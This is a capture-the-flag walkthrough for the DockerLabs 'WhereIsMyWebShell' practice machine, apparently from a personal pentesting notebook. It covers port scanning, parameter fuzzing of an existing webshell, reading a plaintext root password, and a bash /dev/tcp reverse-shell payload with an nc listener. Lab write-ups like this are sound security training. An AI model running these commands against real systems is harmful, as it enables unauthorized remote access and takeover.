> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/whereismywebshell.md).

# WhereIsMyWebShell

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: port 80 is open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 80 -sS -Pn -sCV`

<figure><img src="/files/k02OFmEMYjWYBTpHkGPK" alt=""><figcaption><p>(WhereIsMyWebShell) Targeted Port Scan</p></figcaption></figure>

We tried to find exploits or shellcodes using `searchsploit Apache httpd 2.4.57` but there wasn't any. Our next step will be directory enumeration.

With the command `ffuf -w /path/to/wordlist/directory-list-2.3-medium.txt:FUZZ -u http://10.129.129.108/FUZZ -e .html,.php` we found some interesting directories that it's worth taking a look.

**Result:**&#x20;

**/index.html -> This is the landing page of the website, it's English academy themed. It says on the footer that they keep a secret on /tmp.**&#x20;

**/shell.php -> This looks like a webshell, but we don't know the parameter needed to pass the command as argument.**&#x20;

**/warning.html -> Accessing this will tell us the website has a webshell, with an unknown parameter.**

Knowing this, we will fuzz for parameters, trying to find the one that works for **shell.php**.

```bash
ffuf -u http://172.17.0.2/shell.php?FUZZ=whoami -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
```

This got us the parameter name `parameter`, and using the webshell and the info we got from **index.html**, we look on `/tmp` witn `ls -la` to find a `.secret.txt`.

Reading it will give us the root credentials:

<figure><img src="/files/1WMePh1IvLOL0osThssv" alt=""><figcaption><p>(WhereIsMyWebShell) Root Password</p></figcaption></figure>

## 3 - Exploitation

After this, we can try to log in through SSH, but port is closed, so we have to spawn a reverse shell. Using the following payload on the vulnerable parameter, we can spawn a shell, and after that, we can do `su root` having the password. We have to setup a listener before launching the shell:

```bash
nc -lvnp 3110 # This runs on local terminal.

bash -c 'bash -i >%26 /dev/tcp/172.17.0.1/3110 0>%261' # This is the input for the vulnerable parameter.
```

<figure><img src="/files/YqURBxjUmfVoCJYaWwyd" alt=""><figcaption><p>(WhereIsMyWebShell) Root Shell</p></figcaption></figure>

## 4 - Summary

**Initial Access:** Obtained valid credentials by discovering a hidden file containing root password in plain text in an exposed `.secret.txt` file within the `/tmp` directory. We accessed it using an existing webshell running on `?parameter=`